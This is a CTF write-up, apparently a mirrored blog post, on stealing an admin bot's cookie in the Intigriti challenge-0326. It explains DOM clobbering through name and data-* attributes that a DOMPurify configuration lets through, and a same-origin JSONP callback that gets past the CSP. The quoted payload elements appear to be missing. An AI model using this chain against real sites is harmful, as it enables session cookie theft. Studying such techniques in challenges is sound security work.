How I Stole the Admin’s Cookie — Intigriti challenge-0326

How I Stole the Admin's Cookie — Intigriti challenge-0326 | by Mahendra Purbia (Mah3Sec) - Freedium Milestone: 20GB Reached We’ve reached 20GB of stored data — thank you for helping us grow! Patreon Ko-fi Liberapay Close < Go to the original How I Stole the Admin's Cookie — Intigriti challenge-0326 Hey Infosec buddies! Mahendra Purbia (Mah3Sec) here; Intigriti dropped their March 2026 CTF and honestly when I first looked at it I… Mahendra Purbia (Mah3Sec) Follow ~6 min read · March 24, 2026 (Updated: March 24, 2026) · Free: Yes Hey Infosec buddies! Mahendra Purbia (Mah3Sec) here; Intigriti dropped their March 2026 CTF and honestly when I first looked at it I thought okay, search box, some JavaScript, a Report to Admin button, simple right? Wrong. Things got spicy real fast. Let me break this down in the simplest way possible; no scary jargon, I promise. Even if you've never touched source code in your life, by the end of this you'll understand exactly what happened. 🕸️What Is This Challenge Even About? The target https://challenge-0326.intigriti.io/challenge.html is a fake Secure Search Portal — looks like a threat intelligence tool. You type something in the search box and it shows results. There's also a Report it to Admin button at the bottom. The goal? Steal the admin bot's cookie. That cookie contains the flag. Think of it like this — the admin bot is J. Jonah Jameson sitting in his office. His cookie is the front page headline. We need to sneak in and grab it without him noticing. stealth mode Step 1 — Reading the Source Code (Don't Panic!) I know source code review sounds scary. But think of it like reading the blueprints of a building before you break in. You're just looking for the door someone left unlocked. I opened DevTools → Sources and found three JS files: • purify.min.js — the security guard (DOMPurify sanitizer) • components.js — handles loading extra page features • main.js — the brain of the page The key part in main.js was this: const cleanHTML = DOMPurify.sanitize(q, { FORBID_ATTR: ['id', 'class', 'style'], KEEP_CONTENT: true }); resultsContainer.innerHTML = cleanHTML; In plain English: Whatever you type in the search box gets cleaned by DOMPurify and pasted directly into the page. This is called a sink where your input lands on the page. DOMPurify was told to block id, class and style attributes, but nobody told it to block name or data-* attributes. That's our unlocked door. Step 2 — DOM Clobbering (Sounds Scary, Super Simple) Okay here's where it gets fun. Let me explain DOM Clobbering like you're 10 years old. 🕷 You know how in Spider-Man, Miles Morales and Peter Parker can both be Spider-Man at the same time? And sometimes people get confused about which one they're talking to? DOM Clobbering is exactly that. We trick the browser into thinking a fake HTML element IS a JavaScript variable. let's confuse the browser The page has this in components.js: let config = window.authConfig || { dataset: { next: '/', append: 'false' } }; let redirectUrl = config.dataset.next; if (config.dataset.append === 'true') { redirectUrl += 'token=' + encodeURIComponent(document.cookie); } window.location.href = redirectUrl; Plain English: The page checks window.authConfig to decide where to redirect and whether to attach the cookie to the URL. Normally window.authConfig is undefined. But if I inject this into the page:

The browser says 'oh window.authConfig? That's this form element!' and data-next becomes .dataset.next and data-append becomes .dataset.append. ✅ DOMPurify lets this through because name= and data-* are NOT in its blocklist! We basically put on the Spider-Man suit and convinced the browser we're the real deal. Step 3 — Getting the Code to Actually Run (ComponentManager) Now I need to actually CALL that redirect function. Just injecting HTML isn't enough — I need JavaScript to execute. The page has a ComponentManager in components.js that does this: let scriptUrl = config.path + config.type + '.js'; let s = document.createElement('script'); s.src = scriptUrl; document.head.appendChild(s); Plain English: If you put a special data-component div in the page, it will load a JavaScript file from whatever path you give it. But there's a catch — the Content Security Policy (CSP) says script-src 'self'. Think of CSP as the Daily Bugle's security guard who only lets in people from the building. No outsiders allowed. I can't just point it to my own server. I need a script file that already lives on the challenge server. trying to bypass the blocker Step 4 — Finding the Hidden JSONP Endpoint This is where the Intigriti tip came in: "find the hidden api endpoint that lets you choose the callback." After scanning the server I found /api/stats — a hidden endpoint. Here's how it works: GET /api/stats?callback=myFunction Returns: myFunction({"users":1337,"active":42,"status":"Operational"}) This is called JSONP — basically the server wraps its data inside whatever function name you give it. With application/javascript content type. So if I tell it callback=window.Auth.loginRedirect… the server returns: window.Auth.loginRedirect({"users":1337,"active":42}) That's valid JavaScript from the same origin — the security guard lets it in! The CSP is completely happy because the script comes from the challenge server itself. I'm in Step 5 — Putting It All Together Here's the full payload two HTML elements working together: